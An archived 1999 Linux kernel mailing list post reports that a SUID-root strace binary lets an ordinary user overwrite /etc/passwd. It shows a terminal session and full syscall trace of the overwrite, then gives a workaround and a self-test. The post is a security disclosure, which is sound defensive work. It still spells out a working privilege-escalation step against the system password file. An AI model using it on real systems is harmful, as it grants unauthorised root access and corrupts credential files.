lkml.org 
[lkml]   [1999]   [Dec]   [29]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
Subjectstrace security <feature>
Hello security gurus,

This may not be a kernel issue, but `strace` interacts with it so
here is the frightening thing:

It is possible for an ordinary user to use `strace` (which by default
runs SUID-root), to copy a password file to /etc.
Watch!

Script started on Wed Dec 29 17:35:26 1999
$ whoami
johnson
$ ls -la /etc/passwd
-rw-r--r-- 1 system root 1407 Dec 29 17:28 /etc/passwd
$ cp passwd /etc
cp: cannot create regular file `/etc/passwd': Permission denied
$ strace cp passwd /etc
brk(0) = 0x8051aa9
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=13265, ...}) = 0
mmap(0, 13265, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4000c000
close(3) = 0
open("/usr/lib/libc.so.6", O_RDONLY) = 3
mmap(0, 4096, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40010000
munmap(0x40010000, 4096) = 0
mmap(0, 644232, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40010000
mprotect(0x4009b000, 74888, PROT_NONE) = 0
mmap(0x4009b000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x8b000) = 0x4009b000
mmap(0x400a1000, 50312, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|0x20, 4294967295, 0) = 0x400a1000
close(3) = 0
mprotect(0x40010000, 569344, PROT_READ|PROT_WRITE) = 0
mprotect(0x40010000, 569344, PROT_READ|PROT_EXEC) = 0
SYS_136(0, 0x3, 0x400a002c, 0xbffff764, 0xbffff754) = 0
getpid() = 369
brk(0) = 0x8051aa9
brk(0x8051af1) = 0x8051af1
brk(0x8052000) = 0x8052000
open("/usr/local/share/locale/locale.alias", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2032, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|0x20, 4294967295, 0) = 0x400ae000
read(3, "# Locale name alias data base.\n"..., 4096) = 2032
brk(0x8053000) = 0x8053000
read(3, "", 4096) = 0
close(3) = 0
munmap(0x400ae000, 4096) = 0
open("./locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/share/locale/en_US.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/share/i18n/en_US.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/share/locale/en_US.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/share/i18n/en_US.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/share/locale/en_US/LC_MESSAGES", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=78, ...}) = 0
mmap(0, 78, PROT_READ, MAP_PRIVATE, 3, 0) = 0x400ae000
munmap(0x400ae000, 78) = 0
close(3) = 0
open("/usr/local/share/i18n/en_US/LC_MESSAGES", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=78, ...}) = 0
mmap(0, 78, PROT_READ, MAP_PRIVATE, 3, 0) = 0x400ae000
munmap(0x400ae000, 78) = 0
close(3) = 0
open("/usr/local/share/locale/en.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/share/i18n/en.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/share/locale/en.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/share/i18n/en.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/share/locale/en/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/share/i18n/en/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
geteuid() = 0
umask(0) = 022
lstat("/etc", {st_mode=S_IFDIR|0755, st_size=3072, ...}) = 0
stat("/etc", {st_mode=S_IFDIR|0755, st_size=3072, ...}) = 0
stat("passwd", {st_mode=S_IFREG|0644, st_size=1468, ...}) = 0
stat("/etc/passwd", {st_mode=S_IFREG|0644, st_size=1407, ...}) = 0
open("passwd", O_RDONLY) = 3
open("/etc/passwd", O_WRONLY|O_CREAT|O_TRUNC, 0600) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
fstat(3, {st_mode=S_IFREG|0644, st_size=1468, ...}) = 0
read(3, "root:Edited:0:0:System Ad"..., 4096) = 1468
write(4, "root:Edited:0:0:System Ad"..., 1468) = 1468
read(3, "", 4096) = 0
close(4) = 0
close(3) = 0
_exit(0) = ?
$ exit
exit
Script done on Wed Dec 29 17:36:30 1999

Note that geteuid() returned 0;

Also:

main()
{
printf("UID = %d, GID = %d, EUID = %d\n", getuid(), getgid(), geteuid());
}
UID = 100, GID = 100, EUID = 100
This is my real UID, etc.

The temporary work-around is to unset the SUID bit in `strace`. The
base distribution on this system was RedHat in 1996 (old). Maybe
newer distributions have fixed this.

-rwsr-xr-x 1 root root 85397 Feb 26 1996 /usr/local/bin/strace

To see if you have this bug, log onto a user account, create some
file, and attempt to `strace cp filename /etc`. If it goes, become
root and do chmod 755 `which strace`.

Cheers,
Dick Johnson

Penguin : Linux version 2.3.13 on an i686 machine (400.59 BogoMips).
Warning : The end of the world as we know it requires a new calendar.
Seconds : 194379 (until Y2K)


-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.tux.org/lkml/

\
 
 \ /
  Last update: 2005-03-22 13:55    [from the cache]
©2003-2011 Jasper Spaans